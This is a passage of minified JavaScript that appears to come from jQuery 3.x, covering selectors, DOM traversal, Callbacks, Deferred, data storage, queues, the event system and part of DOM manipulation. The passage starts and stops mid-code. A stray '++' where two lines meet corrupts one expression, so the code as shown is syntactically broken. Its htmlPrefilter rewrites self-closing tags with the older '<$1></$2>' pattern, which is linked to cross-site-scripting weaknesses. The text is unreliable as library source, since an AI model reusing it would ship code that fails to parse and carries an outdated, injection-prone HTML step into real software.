"];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(_,aa),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=V.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(_,aa),$.test(j[0].type)&&qa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&sa(j),!a)return G.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||$.test(a)&&qa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext,B=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,C=/^.[^:#\[\.,]*$/;function D(a,b,c){if(r.isFunction(b))return r.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return r.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(C.test(b))return r.filter(b,a,c);b=r.filter(b,a)}return r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType})}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b<d;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;b<d;b++)r.find(a,e[b],c);return d>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(D(this,a||[],!1))},not:function(a){return this.pushStack(D(this,a||[],!0))},is:function(a){return!!D(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var E,F=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:F.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a<c;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof a&&r(a);if(!A.test(a))for(;d<e;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function J(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return J(a,"nextSibling")},prev:function(a){return J(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return a.contentDocument||r.merge([],a.childNodes)}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(I[a]||r.uniqueSort(e),H.test(a)&&e.reverse()),this.pushStack(e)}});var K=/\S+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){r.each(b,function(b,c){r.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==r.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return r.each(arguments,function(a,b){var c;while((c=r.inArray(b,f,c))>-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function M(a){return a}function N(a){throw a}function O(a,b,c){var d;try{a&&r.isFunction(d=a.promise)?d.call(a).done(b).fail(c):a&&r.isFunction(d=a.then)?d.call(a,b,c):b.call(void 0,a)}catch(a){c.call(void 0,a)}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b<f)){if(a=d.apply(h,i),a===c.promise())throw new TypeError("Thenable self-resolution");j=a&&("object"==typeof a||"function"==typeof a)&&a.then,r.isFunction(j)?e?j.call(a,g(f,c,M,e),g(f,c,N,e)):(f++,j.call(a,g(f,c,M,e),g(f,c,N,e),g(f,c,M,c.notifyWith))):(d!==M&&(h=void 0,i=[a]),(e||c.resolveWith)(h,i))}},k=e?j:function(){try{j()}catch(a){r.Deferred.exceptionHook&&r.Deferred.exceptionHook(a,k.stackTrace),b+1>=f&&(d!==N&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(O(a,g.done(h(c)).resolve,g.reject),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)O(e[c],h(c),g.reject);return g.promise()}});var P=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&P.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var Q=r.Deferred();r.fn.ready=function(a){return Q.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,holdReady:function(a){a?r.readyWait++:r.ready(!0)},ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener("DOMContentLoaded",R),a.removeEventListener("load",R),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",R),a.addEventListener("load",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,
++r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},T=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function U(){this.expando=r.expando+U.uid++}U.uid=1,U.prototype={cache:function(a){var b=a[this.expando];return b||(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b&&"string"==typeof b&&void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){r.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(K)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!r.isEmptyObject(b)}};var V=new U,W=new U,X=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Y=/[A-Z]/g;function Z(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Y,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c||"false"!==c&&("null"===c?null:+c+""===c?+c:X.test(c)?JSON.parse(c):c)}catch(e){}W.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return W.hasData(a)||V.hasData(a)},data:function(a,b,c){return W.access(a,b,c)},removeData:function(a,b){W.remove(a,b)},_data:function(a,b,c){return V.access(a,b,c)},_removeData:function(a,b){V.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=W.get(f),1===f.nodeType&&!V.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=r.camelCase(d.slice(5)),Z(f,d,e[d])));V.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){W.set(this,a)}):S(this,function(b){var c;if(f&&void 0===b){if(c=W.get(f,a),void 0!==c)return c;if(c=Z(f,a),void 0!==c)return c}else this.each(function(){W.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=V.get(a,b),c&&(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks("once memory").add(function(){V.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=V.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var $=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,_=new RegExp("^(?:([+-])=|)("+$+")([a-z%]*)$","i"),aa=["Top","Right","Bottom","Left"],ba=function(a,b){return a=b||a,"none"===a.style.display||""===a.style.display&&r.contains(a.ownerDocument,a)&&"none"===r.css(a,"display")},ca=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function da(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,"")},i=h(),j=c&&c[3]||(r.cssNumber[b]?"":"px"),k=(r.cssNumber[b]||"px"!==j&&+i)&&_.exec(r.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var ea={};function fa(a){var b,c=a.ownerDocument,d=a.nodeName,e=ea[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,"display"),b.parentNode.removeChild(b),"none"===e&&(e="block"),ea[d]=e,e)}function ga(a,b){for(var c,d,e=[],f=0,g=a.length;f<g;f++)d=a[f],d.style&&(c=d.style.display,b?("none"===c&&(e[f]=V.get(d,"display")||null,e[f]||(d.style.display="")),""===d.style.display&&ba(d)&&(e[f]=fa(d))):"none"!==c&&(e[f]="none",V.set(d,"display",c)));for(f=0;f<g;f++)null!=e[f]&&(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ga(this,!0)},hide:function(){return ga(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){ba(this)?r(this).show():r(this).hide()})}});var ha=/^(?:checkbox|radio)$/i,ia=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,ja=/^$|\/(?:java|ecma)script/i,ka={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ka.optgroup=ka.option,ka.tbody=ka.tfoot=ka.colgroup=ka.caption=ka.thead,ka.th=ka.td;function la(a,b){var c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&r.nodeName(a,b)?r.merge([a],c):c}function ma(a,b){for(var c=0,d=a.length;c<d;c++)V.set(a[c],"globalEval",!b||V.get(b[c],"globalEval"))}var na=/<|&#?\w+;/;function oa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n<o;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(na.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ia.exec(f)||["",""])[1].toLowerCase(),i=ka[h]||ka._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(d&&r.inArray(f,d)>-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=la(l.appendChild(f),"script"),j&&ma(g),c){k=0;while(f=g[k++])ja.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var pa=d.documentElement,qa=/^key/,ra=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,sa=/^([^.]*)(?:\.(.+)|)/;function ta(){return!0}function ua(){return!1}function va(){try{return d.activeElement}catch(a){}}function wa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)wa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=ua;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(pa,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(K)||[""],j=b.length;while(j--)h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.hasData(a)&&V.get(a);if(q&&(i=q.events)){b=(b||"").match(K)||[""],j=b.length;while(j--)if(h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&V.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(V.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c<arguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])&&!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])&&!b.isImmediatePropagationStopped())b.rnamespace&&!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(b.result=e)===!1&&(b.preventDefault(),b.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!==this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;c<h;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?r(e,this).index(i)>-1:r.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==va()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===va()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&r.nodeName(this,"input"))return this.click(),!1},_default:function(a){return r.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?ta:ua,this.target=a.target&&3===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b&&r.extend(this,b),this.timeStamp=a&&a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:ua,isPropagationStopped:ua,isImmediatePropagationStopped:ua,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=ta,a&&!this.isSimulated&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=ta,a&&!this.isSimulated&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=ta,a&&!this.isSimulated&&a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which&&qa.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which&&void 0!==b&&ra.test(a.type)?1&b?1:2&b?3:4&b?2:0:a.which}},r.event.addProp),r.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return wa(this,a,b,c,d)},one:function(a,b,c,d){return wa(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=ua),this.each(function(){r.event.remove(this,a,c,b)})}});var xa=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,ya=/<script|<style|<link/i,za=/checked\s*(?:[^=]|=\s*.checked.)/i,Aa=/^true\/(.*)/,Ba=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Ca(a,b){return r.nodeName(a,"table")&&r.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a:a}function Da(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ea(a){var b=Aa.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(V.hasData(a)&&(f=V.access(a),g=V.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c<d;c++)r.event.add(b,e,j[e][c])}W.hasData(a)&&(h=W.access(a),i=r.extend({},h),W.set(b,i))}}function Ga(a,b){var c=b.nodeName.toLowerCase();"input"===c&&ha.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function Ha(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m>1&&"string"==typeof q&&!o.checkClone&&za.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(m&&(e=oa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(la(e,"script"),Da),i=h.length;l<m;l++)j=e,l!==n&&(j=r.clone(j,!0,!0),i&&r.merge(h,la(j,"script"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Ea),l=0;l<i;l++)j=h[l],ja.test(j.type||"")&&!V.access(j,"globalEval")&&r.contains(k,j)&&(j.src?r._evalUrl&&r._evalUrl(j.src):p(j.textContent.replace(Ba,""),k))}return a}function Ia(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(la(d)),d.parentNode&&(c&&r.contains(d.ownerDocument,d)&&ma(la(d,"script")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(xa,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=la(h),f=la(a),d=0,e=f.length;d<e;d++)Ga(f[d],g[d]);if(b)if(c)for(f=f||la(a),g=g||la(h),d=0,e=f.length;d<e;d++)Fa(f[d],g[d]);else Fa(a,h);return g=la(h,"script"),g.length>0&&ma(g,!i&&la(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(T(c)){if(b=c[V.expando]){if(b.events)for(d in 